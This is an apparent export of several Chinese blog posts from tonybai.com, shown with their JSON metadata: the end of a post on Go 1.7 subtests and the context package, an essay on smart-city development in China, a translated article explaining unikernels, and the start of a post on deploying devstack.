表驱动测试就像下面代码中TestSumInOldWay一样：\n// go17-examples/stdlib/subtest/foo_test.go package foo import ( \u0026quot;fmt\u0026quot; \u0026quot;testing\u0026quot; ) var tests = []struct { A, B int Sum int }{ {1, 2, 3}, {1, 1, 2}, {2, 1, 3}, } func TestSumInOldWay(t *testing.T) { for _, tc := range tests { if got := tc.A + tc.B; got != tc.Sum { t.Errorf(\u0026quot;%d + %d = %d; want %d\u0026quot;, tc.A, tc.B, got, tc.Sum) } } } 对于这种传统的表驱动测试，我们在控制粒度上仅能在顶层测试方法层面，即TestSumInOldWay这个层面：\n$go test --run=TestSumInOldWay PASS ok github.com/bigwhite/experiments/go17-examples/stdlib/subtest 0.008s 同时为了在case fail时更容易辨别到底是哪组数据导致的问题，Errorf输出时要带上一些测试数据的信息，比如上面代码中的：”%d+%d=%d; want %d”。\n若通过subtests来实现，我们可以将控制粒度细化到subtest层面。并且由于subtest自身具有subtest name唯一性，无需在Error中带上那组测试数据的信息：\n// go17-examples/stdlib/subtest/foo_test.go func assertEqual(A, B, expect int, t *testing.T) { if got := A + B; got != expect { t.Errorf(\u0026quot;got %d; want %d\u0026quot;, got, expect) } } func TestSumSubTest(t *testing.T) { //setup code ... ... for i, tc := range tests { t.Run(\u0026quot;A=1\u0026quot;, func(t *testing.T) { if tc.A != 1 { t.Skip(i) } assertEqual(tc.A, tc.B, tc.Sum, t) }) t.Run(\u0026quot;A=2\u0026quot;, func(t *testing.T) { if tc.A != 2 { t.Skip(i) } assertEqual(tc.A, tc.B, tc.Sum, t) }) } //teardown code ... ... } 我们故意将tests数组中的第三组测试数据的Sum值修改错误，这样便于对比测试结果：\nvar tests = []struct { A, B int Sum int }{ {1, 2, 3}, {1, 1, 2}, {2, 1, 4}, } 执行TestSumSubTest：\n$go test --run=TestSumSubTest --- FAIL: TestSumSubTest (0.00s) --- FAIL: TestSumSubTest/A=2#02 (0.00s) foo_test.go:19: got 3; want 4 FAIL exit status 1 FAIL github.com/bigwhite/experiments/go17-examples/stdlib/subtest 0.007s 分别执行”A=1″和”A=2″的两个subtest：\n$go test --run=TestSumSubTest/A=1 PASS ok github.com/bigwhite/experiments/go17-examples/stdlib/subtest 0.007s $go test --run=TestSumSubTest/A=2 --- FAIL: TestSumSubTest (0.00s) --- FAIL: TestSumSubTest/A=2#02 (0.00s) foo_test.go:19: got 3; want 4 FAIL exit status 1 FAIL github.com/bigwhite/experiments/go17-examples/stdlib/subtest 0.007s 测试的结果验证了前面说到的两点：\n1、subtest的输出自带唯一标识，比如：“FAIL: TestSumSubTest/A=2#02 (0.00s)”\n2、我们可以将控制粒度细化到subtest的层面。\n从代码的形态上来看，subtest支持对测试数据进行分组编排，比如上面的测试就将TestSum分为A=1和A=2两组，以便于分别单独控制和结果对比。\n另外由于控制粒度支持subtest层，setup和teardown也不再局限尽在TestMain级别了，开发者可以在每个top-level test function中，为其中的subtest加入setup和teardown，大体模式如下：\nfunc TestFoo(t *testing.T) { //setup code ... ... //subtests... ... //teardown code ... ... } Go 1.7中的subtest同样支持并发执行：\nfunc TestSumSubTestInParalell(t *testing.T) { t.Run(\u0026quot;blockgroup\u0026quot;, func(t *testing.T) { for _, tc := range tests { tc := tc t.Run(fmt.Sprint(tc.A, \u0026quot;+\u0026quot;, tc.B), func(t *testing.T) { t.Parallel() assertEqual(tc.A, tc.B, tc.Sum, t) }) } }) //teardown code } 这里嵌套了两层Subtest，”blockgroup”子测试里面的三个子测试是相互并行(Paralell)执行，直到这三个子测试执行完毕，blockgroup子测试的Run才会返回。而TestSumSubTestInParalell与foo_test.go中的其他并行测试function（如果有的话）的执行是顺序的。\nsub-benchmark在形式和用法上与subtest类似，这里不赘述了。\n2、Context包 Go 1.7将原来的golang.org/x/net/context包挪入了标准库中，放在$GOROOT/src/context下面，这显然是由于context模式用途广泛，Go core team响应了社区的声音，同时这也是Go core team自身的需要。Std lib中net、net/http、os/exec都用到了context。关于Context的详细说明，没有哪个比Go team的一篇”Go Concurrent Patterns：Context“更好了。\n四、其他改动 Runtime这块普通开发者很少使用，一般都是Go core team才会用到。值得注意的是Go 1.7增加了一个runtime.Error（接口），所有runtime引起的panic，其panic value既实现了标准error接口，也实现了runtime.Error接口。\nGolang的GC在1.7版本中继续由Austin Clements和Rick Hudson进行打磨和优化。\nGo 1.7编译的程序的执行效率由于SSA的引入和GC的优化，整体上会平均提升5%-35%（在x86-64平台上）。一些标准库的包得到了显著的优化，比如：crypto/sha1, crypto/sha256, encoding/binary, fmt, hash/adler32, hash/crc32, hash/crc64, image/color, math/big, strconv, strings, unicode, 和unicode/utf16，性能提升在10%以上。\nGo 1.7还增加了对使用二进制包（非源码）构建程序的实验性支持（出于一些对商业软件发布形态的考虑），但Go core team显然是不情愿在这方面走太远，不承诺对此进行完整的工具链支持。\n标准库中其他的一些细微改动，大家尽可以参考Go 1.7 release notes。\n本文涉及到的example代码在这里可以下载到。\n","permalink":"https://tonybai.com/2016/06/21/some-changes-in-go-1-7/","summary":"\u003ch3 id=\"零从release-cycle说起\"\u003e零、从Release Cycle说起\u003c/h3\u003e\n\u003cp\u003e从Go 1.3版本开始，Golang核心开发Team的版本开发周期逐渐稳定下来。经过\u003ca href=\"http://tonybai.com/2014/11/04/some-changes-in-go-1-4/\"\u003eGo 1.4\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2015/07/10/some-changes-in-go-1-5/\"\u003eGo1.5\u003c/a\u003e和\u003ca href=\"http://tonybai.com/2016/02/21/some-changes-in-go-1-6/\"\u003eGo 1.6\u003c/a\u003e的实践，大神\u003ca href=\"https://github.com/rsc\"\u003eRuss Cox\u003c/a\u003e在\u003ca href=\"https://github.com/golang/go/wiki\"\u003eGo wiki\u003c/a\u003e上大致定义了\u003ca href=\"https://github.com/golang/go/wiki/Go-Release-Cycle\"\u003eGo Release Cycle\u003c/a\u003e的一般流程：\u003c/p\u003e","title":"Go 1.7中值得关注的几个变化"},{"content":"这一个月，因为工作关系，我接触到了“智慧城市”这个概念，这里打算把这一个月来对智慧城市的认知和“感受”记录下来，算是一个小的总结吧，希望能给大家带去点营养。\n一、历程 关于智慧城市，我也是从零基础开始起步的。\n这一个月来，我有幸聆听了IBM大中华区智慧城市首席规划师岳梅樱博士关于智慧城市的理解；粗读了岳博士主编的两本有关智慧城市的书《智慧城市顶层设计方法论与实践分享》和《智慧城市：实践分享系列谈》；拜读了心理咨询师王成威老师关于智慧城市建设的顶层规划思路；与中国电科五十四所的专家们讨论过智慧城市建设方面的合作；与公司内部咨询策划同事一起了解了沈阳智慧城市建设的实际情况以及我们公司的参与情况；搜索和浏览了大量网络资料，算是对智慧城市，尤其是有中国特色的智慧城市建设有了一些初步的认知。\n二、智慧城市到底是个什么鬼？ 我参加岳博士交流会的那天恰是我接触智慧城市概念的第九天，而那时也恰是岳博士在大中华区推动智慧城市建设的第九年，差距有那么一点大哈^_^。\n智慧城市到底是什么？很多人愿意以“没有标准定义”来开头，然后再给出自己的定义^_^。从城市发展的角度来说，智慧城市是“城市”发展的一个阶段。在这个阶段里，城市总体呈现出一种比之前各个阶段更为高级的形态。特别古老的城市阶段我们就不提了，想了解城市起源和发展的朋友可以看看美国著名学者刘易斯·芒福德的《城市发展史》。我们主要来说说近二十年左右的现代城市。\n按照岳博士的城市断代(由于城市发展水平不同，有些城市在各个节点有重叠，就像中国的工业化和信息化建设就是重叠在一起的一样)，现代城市发展经历了如下几个阶段：\n1、数字城市\n数字城市开启了城市发展的数字化阶段，是城市发展史上的新纪元。数字城市概念起源于美国政府提出的“数字地球”。数字城市旨在通过先进的IT技术和网络技术将以物理形态存在的城市的各种信息存储到磁盘上，形成一个数字化的虚拟城市。基于这些数字化后的信息，政府可以通过信息化手段来提高各行业管理效率和服务质量，并基于互联网形成初步的业务协同，提高城市运行效率。这一阶段起始于二十世纪九十年代末，并一直持续至今。不同的城市由于自身发展的水平差异，数字化的程度也有不同。\n2、无线城市\n提到无线城市，人们便想到了遍布大街小巷各个店铺中的各种Wi-Fi，各种运营商4G网络！没错，这就是无线城市在城市人们生活中的真实投射。无线城市让人和物更容易、更快捷、更高速的接入到城市网络和互联网中。满足了城市居民的社交需求，同时也让以前不能采集得到的数据(包括物产生的数据和人产生的数据)源源不断的汇聚到城市管理者那里以供分析、挖掘，辅助管理者决策。无线城市的概念依旧发起于美国，起始于2004年美国费城的“无线城市”计划，并一直持续至今。像“宽带中国”战略都可以理解成我们无线城市建设的一个组成部分。\n3、智慧城市\n有了数字城市和无线城市的铺垫，才会有智慧城市概念的出现。前面说过：智慧城市是城市发展的更高级形态。这里所谓的“高级”就是在无线城市感知的和收集的、数字城市存储的数据上面加入了一个“智慧”的辅助处理过程，以帮助城市管理者和运营者们快速准确的做出决策。当前阶段这个“智慧”主要就是通过大数据相关技术和机器学习实现的。智慧城市来源于2008年美国的那个蓝色大块头IBM提出的“智慧地球”概念，并在其后的若干年里得到全球城市管理者和建设者的认可。从现如今至未来的一段时间内，全球大部分发达城市都会处于智慧城市这一发展阶段。\n智慧城市在全球的发展离不开IBM的大力推广。IBM为何要提出“智慧城市”呢？段子中的说法是这样的：自从IBM历史上最伟大的CEO之一：郭士纳带领IBM转型并走出泥潭之后，IBM进入了一个黄金发展期，股价连连攀升。IBM继续稳固其在金融、保险、通信等行业的领头羊位置，但在在面对城市、面向政府公共事业，IBM的开拓并不是那么顺利。而“智慧城市”让IBM有机会直面城市，直面政府核心，找到新的业绩增长点。\n智慧城市离不开IBM，但IBM却是可以“抛弃”智慧城市的。你可能也逐渐感觉到一个奇怪的现象：”IBM在媒体上已经很少提及智慧城市了”，这是因为IBM已经进入了城市发展和建设的下一阶段：认知时代(the cognitive era)。IBM的蓝色基因存活百年（1911年开始)，它可不是白活着。历史上IBM经历了几次波谷，无不是在自我调整中完成自我救赎。伟大的蓝色巨人总是那么先知先觉，在今天公司业绩再次进入一个下行通道时，再次主动寻求转型，将战略切换到“云+认知”的方向上去了。\n如果说智慧城市是通过当前的大数据分析、挖掘，初级机器学习等技术充当“智慧”的话，那IBM的认知时代中的那个“智慧”的代言人就是IBM的Watson。Watson就是一段人工智能程序（背后可能是一个集群支撑），它的前身“深蓝”战胜过国际象棋世界冠军，它自己则在美国智力节目Jeopardy!上击败两位人类选手取得冠军。IBM已经将其应用于全球认知商业行业解决方案中，通过API支撑关系抽取、性格分析、情绪分析、概念扩展及权衡分析等智能特性。根据岳博士透露，IBM的认知计算已经开始应用于辅助法官断案和医生临床诊断等行业中去了。\n巴西里约的城市运营中心\n三、有中国特色的智慧城市建设 彭明盛于2008年提出智慧地球(smart planet)，后演变出智慧城市概念。之后，IBM开始在全球布道，大政府模式的中国大陆地区自然受到IBM青睐。这一时间段也恰逢我国十二五时期（2011-2015），经济上出现新常态、社会资源（人、财、物）面临更有效、更合理的重新配置，国家提出了新城镇化建设的目标，于是智慧城市这件漂亮的外衣就穿到了中国各级政府的身上，这也符合我们一贯跟在国外先进概念屁股后面走的模式。\n近几年，智慧城市在中国可谓是“遍地开花”，你在搜索引擎中搜索“智慧+城市名”，你总是能找到各地关于智慧城市建设的xx年-yy年总体规划、实施规划、行动方案或顶层设计之类的文档，尤其是一线城市、国家中心城市、省会城市以及一些具有地方特色的小城市。那么中国的智慧城市建设到底处于一个什么样的水准呢？下面从主流思路、推动力量和建设效果等几个方面说明一下。\n1、中国智慧城市建设所处阶段 中国的信息化具有起步晚、起点高的特点，中国工业化和信息化建设同步并行进行。与此类似，智慧城市与无线城市、数字城市的建设也是重叠并行的，只是在对外的叫法上我们现阶段多统一采用了“智慧城市”这一更高形态。\n智慧城市概念自身也在不断演化，伴随着技术的进步，始作俑者IBM在中国智慧城市建设的理念上也有过从1.0到3.0版本的几次演化。和中国经济的地域发展差异很大一样，中国各地的智慧城市建设水平也是参差不齐的。一线城市以及一些国家中心城市经济相对好，基础设施优越，智慧城市建设走在了前面，已经开始着手按照3.0的理念建设了；而其他城市可能还处在智慧城市1.0版本徘徊：基础设施还不完善，网络无法延伸到城市各个角落。这些城市没有能力做更高版本的智慧城市。因此，智慧城市建设在中国会是一个长期的存在。\n2、当前中国智慧城市建设主流思路 随着中央政府将智慧城市写入十三五规划，智慧城市得到了前所未有的政策眷顾。智慧城市建设正在将重点从城市基础设施和平台建设向数据互联互通、数据运营和城市运营方面转变，思维也逐渐从行政化走向市场化，这也是当前中国智慧城市的主流思路。政府的数据是智慧城市建设的灵魂，得数据者得天下。各大智慧城市厂商在与合作建设智慧城市时，也都希望能拿到各委办局的数据，并基于这些数据进行运营和创新，找到城市经济的新增长点；同时有了这些数据，厂商可以开发出更惠民的应用，让城市里的居民感受到“智慧”的气息。但从实际效果来看，政府数据开放虽然逐渐破冰，但政府开放数据之路还会很漫长，坎坷还有许多，需要一些耐心。\n3、智慧城市建设的三股力量 中国智慧城市建设由三股力量推动。\n首先自然是政府。城市的管理和发展是政府的首要职责，智慧城市是政府给城市发展选择的一个方向。政府在智慧城市中扮演着绝对的主导角色，无论是政策导向、法规支撑、资金投入、协调合作还是数据来源，离开了政府一切都玩不转。\n其次是传统电信运营商、主机和网络设备提供商、基础设施云服务大数据服务提供商、解决方案提供商和集成商。比如联通、电信、浪潮、华为、中兴、东网科技、神州数码等。这些厂商是每个智慧城市建设的重要建设者、技术支持者和运营参与者。\n最后是大体量的互联网公司，比如阿里、腾讯等。他们有一个共同的特点就是自己的产品已经涵盖了大部分城市人口，因此它们可以另辟蹊径。他们可以利用用户优势、入口优势（支付宝、微信）和技术优势打造类城市超级App，让生活在城市中的人们感觉更加智慧。当然这些公司也在寻求与政府的直接合作，但效果似乎并不是那么好。也许是这些公司的价值观与政府的低效、官僚有冲突吧。\n4、智慧城市的建设效果 智慧城市涉及方方面面，其建设的主要目标是优化政府行政管理（善政）、改善民生（惠民）和持续推进城市经济发展（兴业）。因此，智慧城市的建设效果绝不仅仅是市民直观感受到的那些。当然民众的直接感受是评价智慧城市建设效果的最重要指标之一：出行方便了、路不堵了、到政府部门办事省心省时了、跑医院不用找黄牛了、生病的孩子在家里就可以通过视频参与到学校的课堂中了，这一切都是智慧城市建设效果在人们真实生活中的投射。\n最新的智慧城市建设思路强调顶层设计，强调建立智慧城市评估指标体系，通过这些指标数据可以从微观层面反映出智慧城市建设的效果，尤其是对经济发展的推动作用。\n5、与欧美智慧城市建设的差异 智慧城市概念来自欧美，想必欧美在智慧城市建设方面应该领先于我们吧？这个还真不一定。欧美智慧城市的建设思路与中国的智慧城市建设思路有差别。\n东西方城市的发展历程不同，西方城市进入现代化时间更长，基础设施良好，城市的运行竟然有序，他们不需要大动干戈的对城市进行翻天覆地的重构，只需在某一领域或行业做持续优化和改进。因此他们在建设智慧城市时，往往打出的口号面向的都是“点”，也有自己的特色，比如柏林的2020年电动汽车行动计划(ActionPlanforElectromobilityBerlin2020)，注册用户可以在大约250平方公里的区域内租用到配备了智能熄火/启动系统、空调和导航系统的smartfortwo车辆，并根据自己的意愿长时间驾驶这些汽车，然后在运营区域内的任何公共停车场归还汽车。\n但中国在智慧城市建设过程中，一些城市不顾自身的基础和发展特点，而一味的效仿大而全的智慧城市建设方略，一哄而上，你有我有全都有。基本上一份顶层设计文档，把A城市的名字改为B城市的名字，就可以作为B城市的顶设方案了。这种建设方式不仅造成了严重资源浪费，透支了城市的发展潜力，而且往往是为了智慧而智慧，缺少对城市真实需求的了解，实际效果很差。\n欧洲打法和中国打法没有谁更好之分，只有更适合。这一切都基于城市管理者对自己所管理城市的深入认知，对行政权力使用的精准判断，对市民需求的深入理解和对产业发展的高瞻远瞩。\n从建设模式上来看，欧美以PPP(公私合作关系：Public-private Partnership)为主，国内则是在近两年才逐渐在政策上适当宽松，逐步引入PPP，但效果似乎不太理想。因为政府始终以老大自居，执行力弱、缺乏契约精神，不能降低姿态和企业平起平坐，不能做到主体对等，这让企业顾虑重重。\n四、FAQ 1、智慧城市有炒作概念的成分么？ 可以肯定的说，有。\n从商业的角度，IBM等智慧城市解决方案厂商是要从政府分一杯羹的，在概念导入阶段，大家都飘在上层，落地的东西很少。\n但从一个政府的角度来讲，IBM提出的这些概念也确实是未来城市的发展方向，但政府缺乏在这方面的专业知识、技能和人才，需要各个厂商去帮助他梳理思路，形成落地的可行方案。需要注意的是：政府也要尊重城市现实，不要一味的去做那些不必要的高大上的东西。\n从民众的角度，是否智慧并不care。省事省力省钱，让我happy就ok。\n在中国虽然也存在概念的泡沫空间，但中国智慧城市建设总体上应该是健康的。有一些公司是脚踏实地的去考虑如何帮助政府去建设一个智慧城市的。当然商业公司是要谋利的，但这是其应得的。\n2、在现有政府行政权力机构设置下，智慧城市能运营做好吗？ 个人对此事表示悲观。\n现有的地方政府机构设置本身就存在各种问题：机构设置重复，职责划分不清，造成人浮于事，行政干预过多，服务职能弱化，重行政领导，轻便民服务。现在的机构设置已经成为了阻碍城市快速发展的绊脚石了。如果在智慧城市运营阶段，依旧旧瓶装新酒，只会大大削弱城市的发展潜力。\n我们应该把一个智慧城市视为一个由多个互联互通的子系统构成的单一的宇宙飞船系统，而不是沿用目前这种按领域划分、条块儿分割的部门，这样才能保证智慧城市从全局层面上得到整齐划一的管理。\n但这个问题不是一个厂商或许多厂商就能解决的，需要政府更深刻的认识到这一点才能做出调整。\n3、智慧城市最需要什么样的人才？ 城市是一个复杂的有机体，里面有各种人才在各自岗位上工作，从而使城市正常运转。智慧城市对城市运营人才提出了更高的要求，尤其是对城市统一指挥人才的需求。这样的人才就好比星际迷航中企业号的舰长，他要对城市中的每个环节了如指掌，洞察智慧城市汇聚的信息，快速做出正确的决策。所以我们的教育架构在应对智慧城市时，也应该顺势而动，设置城市综合指挥这样的专业，专门为城市输送这样的人力资源。\n五、结语 一切仅仅是开始！\n","permalink":"https://tonybai.com/2016/06/01/gossip-in-smart-city/","summary":"\u003cp\u003e这一个月，因为工作关系，我接触到了“智慧城市”这个概念，这里打算把这一个月来对智慧城市的认知和“感受”记录下来，算是一个小的总结吧，希望能给大家带去点营养。\u003c/p\u003e","title":"闲话智慧城市"},{"content":"当Docker, Inc在今年年初宣布收购Unikernel Systems公司时，Unikernel对大多数技术人员来说还是很陌生的。直到今天，知名问答类网站知乎上也没有以Unikernel为名字的子话题。国内搜索引擎中关于Unikernel的内容很少，实践相关的内容就更少了。Docker收购Unikernel Systems，显然不是为了将这个其未来潜在的竞争对手干掉，而是嗅到了Unikernel身上的某些技术潜质。和关注Docker一样，本博客后续将持续关注Unikernel的最新发展和优秀实践，并将一些国外的优秀资料搬(翻)移(译)过来供国内Unikernel爱好者和研究人员参考。\n本文翻译自BSD Magazine2016年第3期中Russell Pavlicek的文章《Understanding Unikernels》，译文全文如下。\n当我们描述一台机器（物理的或虚拟的）上的操作系统内核时，我们通常所指的是运行在特定处理器模式（内核模式）下且所使用的地址空间有别于机器上其他软件运行地址空间的一段特定的软件代码。操作系统内核通常用于提供一些关键的底层函数，这些函数被操作系统中其他软件所使用。内核通常是一段通用的代码，（有需要时）一般会被做适当裁剪以适配支持机器上的应用软件栈。这个通用的内核通常会提供各种功能丰富的函数，但很多功能和函数并不是内核支持的特定应用程序所需要的。\n事实上，如果看看今天大多数机器上运行的整体软件栈，我们会发现很难弄清楚到底哪些应用程序运行在那台机器上了。你可能会发现即便没有上千，也会有成百计的低级别实用程序（译注：主要是指系统引导起来后，常驻后台的一些系统服务程序），外加许多数据库程序，一两个Web服务程序，以及一些指定的应用程序。这台机器可能实际上只承担运行一个单独的应用程序，或者它也可能被用于同时运行许多应用。通过对系统启动脚本的细致分析来确定最终运行程序的集合是一个思路，但还远非精准。因为任何一个具有适当特权的用户都可以去启动系统中已有应用程序中的任何一个。\nUnikernel的不同之处 基于Unikernel的机器的覆盖面（footprint）是完全不同的。在物理机器（或虚拟机映像）中，Unikernel扮演的角色与其他内核是相似的，但实现特征显著不同。\n例如，对一个基于Unikernel的机器的代码进行分析就不会受到大多数其他软件栈的模糊性的影响。当你考虑分析一个Unikernel系统时，你会发现系统中只存在一个且只有一个应用程序。那种标准的多应用程序软件栈不见了，前面提到的过多的通用实用程序和支持函数也不见了。不过裁剪并未到此打住。不仅应用软件栈被裁剪到了最低限度，操作系统功能也同样被剪裁了。例如，多用户支持、多进程支持以及高级内存管理也都不见了。\n认为这很激进？想想看：如果整个独立的操作系统层也不见了呢！内核不再有独立的地址空间，应用程序也不再有独立的地址空间了。为什么？因为内核的功能函数和应用程序现在都成为了同一个程序的一部分。事实上，整个软件栈是由一个单独的软件程序构成的，这个程序负责提供应用程序所需的所有代码以及操作系统的功能函数。如果这还不够的话，只需在Unikernel中提供应用所需的那些功能函数即可，所有其他应用程序所不需要的操作系统功能函数都会被整体移除掉。\n一个反映新世纪现实的软件栈 Unikernel的出现，其背后的目的在于对这个行业的彻底的反思。几十年来，在这个行业里我们的工作一直伴随着这样一个理念：机器的最好架构是基于一个通用多用户操作系统启动，加载一系列有用的实用工具程序，添加我们可能需要使用的应用程序。最后，再使用一些包管理软件来管理这种混乱的情况。\n35年前，这种做法是合乎情理的。那个时候，硬件很昂贵，虚拟化的选择非常有限甚至是不可用。安全仅局限于保证计算中心坐在你身旁的人没有在偷看你输密码。一台机器需要同时处理许多用户运行的许多应用程序以保证较高的成本效益。当我还在大学（1、2千年前。 译注：作者开玩笑，强调那时的古老^_^）时，在个人计算机出现之前，学校计算机中心有一个超级昂贵的机器（以今天的标准来看） – 一台DEC PDP-11/34a，配置了248K字节的内存和25M磁盘，为全校的计算机科学、工程以及数学专业的学生使用。这台机器必须服务于几百名学生每个学期想出的每个功能。\n对比计算机历史上那个远古时代的恐龙和现代的智能手机，你会发现手机拥有的计算能力高出那台机器几个数量级。这样一来，我们为什么还要用在计算机石器时代所使用的那些原则去创建机器内核映像呢？重新思考与新的计算现实相匹配的软件栈难道不是很有意义吗？\n在现代世界，硬件十分便宜。虚拟化无处不在且运行效率很高。几乎所有计算设备都连接在一个巨大的、世界范围的且存在潜在恶意黑客的网络中。想想看：一台DNS服务器真的不需要上千兆的字节去完成它的工作；一台应用服务器也真的不需要为刚刚利用一个漏洞获得虚拟命令行访问权的黑客准备数千实用工具程序。 一个Web服务器并不需要验证500个不同的分时用户的命令行登录。那么为什么我们现在仍然在使用支持这些不需要的场景的过时的软件栈概念呢？\nUnikernel的美丽新世界 那么一个现代软件栈应该是什么样子的呢？下面这个怎么样：单一应用映像，虚拟化的，高度安全的，超轻量的，具有超快启动速度。这些正是Unikernel所能提供的。我们逐一来说：\n单一映像 叠加在一个通用内核上的数以百计的实用工具程序和大量应用程序被一个可执行体所替代。这个可执行体将所有需要的应用程序和操作系统代码放置在一个单一的映像中。它只包含它所需要的。\n虚拟化的 就在几年前，你可以很幸运地在一台服务器上启动少量虚拟机。硬件的内存限制以及守旧的、吃内存的软件栈不允许你在一台服务器上同时启动太多虚机。今天我们有了配置了数千兆内存的高性能服务器，我们不再满足于每台机器仅能启动少量虚机了。如果每个虚机映像足够小，我们可以在一个服务器上同事运行数百个，甚至上千个虚机应用。\n安全 在云计算时代，我们发现恶意黑客可以例行公事般入侵各地的服务器，即便是那些知名大公司和政府机构的服务器也不例外。这些违规行为常常是利用了某个网络服务的缺陷并进入了软件栈的更低层。从那开始，恶意入侵者可以利用系统中已有的实用程序或其他应用程序来实施他们的邪恶行为。在Unikernel栈中，没有其他软件可以协助这些恶意的黑客。黑客必须足够聪明才能入侵其中的应用程序，但接下来还是没有驻留的工具可以用来协助做坏事。虽然Unikernel栈不会使得软件彻底完全的变安全，但是它确能显著提升软件的安全级别。并且这是云计算时代长期未兑现的一种进步。\n超轻量 一个正常的VM仅仅是为了能在网络中提供少量的服务就要占用千兆的磁盘和内存空间。若使用Unikernel，我们可以不再纠结于这些资源需求。例如，使用MirageOS(一个非常流行的Unikernel系统)，我们可以构建出一个具备DNS服务功能的VM映像，其占用的磁盘空间仅仅为449K – 是的，还不到半兆。使用ClickOS，一个来自NEC实验室的网络应用Unikernel系统制作的网络设备仅仅使用6兆内存却可以成功达到每秒5百万包的处理能力。这些绝不是基于Unikernel的设备的非典型例子。鉴于Unikernels的小巧精简，在单主机服务器上启动数百或数千这类微小虚拟机的想法似乎不再遥不可及。\n快速启动 普通VM的引导启动消耗较长时间。在现代硬件上启动一个完整操作系统以及软件栈直到服务上线需要花费一分钟甚至更多的时间。但是对于基于Unikernel的VM来说，这种情况却不适用。绝大多数的Unikernel VM引导启动时间少于十分之一秒。例如，ClickOS网络VM文档中记录的引导启动时间在30毫秒以下。这个速度快到足以在服务请求到达网络时再启动一个用于处理该请求的VM了（这正是Jitsu项目所要做的事情，参见http://unikernel.org/files/2015-nsdi-jitsu.pdf）。\n但是，容器不已经做到这一点了吗？ 在创建轻量级，快速启动的VM方面，容器已经走出了很远。但在幕后容器依然依赖着一个共享的、健壮的操作系统。从安全的角度来看，容器还有很多要锁定的地方。很明显我们需要加强我们在云中的安全，但不是去追求这些相同的、陈旧的、在云中就会快速变得漏洞百出的安全方法。除此之外，Unikernel的最终覆盖面仍然要比容器能提供的小得很多。因此容器走在了正确的方向上，而Unikernel则设法在这个未来云所需要的方向上走的更远。\nUnikernels是如何工作的？ 正如之前提到的，传统机器自底向上构建：你选择一个通用的操作系统内核，添加大量实用工具程序，最后添加应用程序。Unikernel正好相反：它们是自顶向下构建的。聚焦在你要运行的应用程序上，恰到好处地添加使其刚好能运行的操作系统函数。大多数Unikernel系统依靠一个编译链接系统，这个系统编译应用程序源码并将应用程序所需的操作系统函数库链接进来，形成一个单独的编译映像。无需其他软件，这个映像就可以运行在VM中。\n如何对结果进行调试？ 由于在最终的成品中没有操作系统或实用工具程序，绝大多数Unikernel系统使用了一种分阶段的方法来开发。通常，在开发阶段一次编译会生成一个适合在Linux或类Unix操作系统上进行测试的可执行程序。这个可执行程序可以运行和被调试，就像任何一个标准程序那样。一旦你对测试结果感到满意，你可以重新编译，打开开关，创建独立运行在VM中的最终映像。\n在生产环境机器上缺少调试工具并没有最初想象的那样糟糕。绝大多数组织不允许开发人员在生产机器上调试，相反，他们收集日志和其他信息，在开发平台重现失败场景，修正问题并重新部署。这个事实让调试生产映像的限制也有所缓和。在Unikernel世界中，这个操作顺序也已具备。你只需要保证你的生产环境映像可以输出足够多的日志以方便重构失败场景。你的标准应用程序可能正在做这些事情了。\n有哪些可用的Unikernel系统？ 现在有很多Unikernel可供选择，它们支持多种编程语言，并且Unikernel项目还在持续增加中。一些较受欢迎的Unikernel系统包括：\nMirageOS：最早的Unikernels系统之一，它使用Ocaml语言； HaLVM：另外一个早期Unikernels系统，由Haskell语言实现； LING：历史悠久的项目，使用Erlang实现； ClickOS：为网络应用优化的系统，支持C、C++和Python； OSv：稍有不同的Unikernel系统，它基于Java，并支持其他一些编程语言。支持绝大多数JAR文件部署和运行。 Rumprun：使用了来自NetBSD项目的模块代码，目标定位于任何符合POSIX标准的、不需要Fork的应用程序，特别适合将现有程序移植到Unikernel世界。 Unikernel是灵丹妙药吗？ Unikernel远非万能的。由于他们是单一进程实体，运行在单一地址空间，没有高级内存管理，很多程序无法很容易地迁移到Unikernel世界。不过，运行于世界各地数据中心中的大量服务很适合该方案。将这些服务转换为轻量级Unikernel，我们可以重新分配服务器能力，任务较重的服务可以从额外的资源中受益。\n转换成Unikernel的任务数量比你想象的要多。在2015年，Martin Lucina宣布成功创建了一个”RAMP”栈 – LAMP栈（Linux、Apache、MySQL和PHP/Python）的变种。RAMP栈使用了NGINX，MySQL和PHP，它们都构建在Rumprun之上。Rumprun是Rump内核的一个实例，而Rump内核则是基于NetBSD工程模块化操作系统功能函数集合的一个Unikernel系统。所以这种常见的解决方案堆栈可以成功地转化迁移到Unikernels世界中。\n更多信息 要想学习更多有关Unikernels方面的内容，可以访问http://www.unikernel.org或观看2015年我在Southeast Linuxfest的演讲视频。\n","permalink":"https://tonybai.com/2016/05/16/understanding-unikernels/","summary":"\u003cp\u003e当\u003ca href=\"http://www.docker.com/\"\u003eDocker, Inc\u003c/a\u003e在今年年初宣布收购\u003ca href=\"http://unikernel.com/\"\u003eUnikernel Systems公司\u003c/a\u003e时，\u003ca href=\"http://unikernel.org/\"\u003eUnikernel\u003c/a\u003e对大多数技术人员来说还是很陌生的。直到今天，知名问答类网站\u003ca href=\"https://www.zhihu.com/\"\u003e知乎\u003c/a\u003e上也没有以Unikernel为名字的子话题。国内搜索引擎中关于Unikernel的内容很少，实践相关的内容就更少了。Docker收购Unikernel Systems，显然不是为了将这个其未来潜在的竞争对手干掉，而是嗅到了Unikernel身上的某些技术潜质。和关注Docker一样，本博客后续将持续关注Unikernel的最新发展和优秀实践，并将一些国外的优秀资料搬(翻)移(译)过来供国内Unikernel爱好者和研究人员参考。\u003c/p\u003e","title":"理解Unikernels"},{"content":"新公司是一家数据与基础设施提供商(to B)。初来乍到，和这里的同事了解了一些云计算平台和大数据平台的技术栈。对于“新鲜”(only to me)的技术栈，自己总有一种折腾的冲动，于是就有了这一篇备忘性质的文章，记录一下自己部署devstack的步骤、遇到的问题和解决方法。\n和诸多国内提供公有云的厂商一样，公司的云产品也是基于成熟的OpenStack云计算平台框架和组件搭建的，并做了一些定制。长久以来，我一直以为OpenStack等都是Java技术栈的，对Java技术栈出品的东西总有一种莫名的恐惧感，现在我才发现原来OpenStack是Python系（那个汗汗汗啊）。而OpenStack的另外一个竞争对手:CloudStack才是正经八百的Java系。\nOpenStack是一堆云计算平台组件（诸如存储、网络、镜像管理等）的合称，十分庞大且十分复杂，入门门槛不低，即便是为开发目的而进行的OpenStack部署也会让你折腾许久，甚至始终无法搭建成功。为此OpenStack为入门者和开发者推出了一个OpenStack开发环境：devstack。通过devstack，你可以在一个主机节点上部署一个“五脏俱全”的OpenStack Cloud。\n一、安装devstack 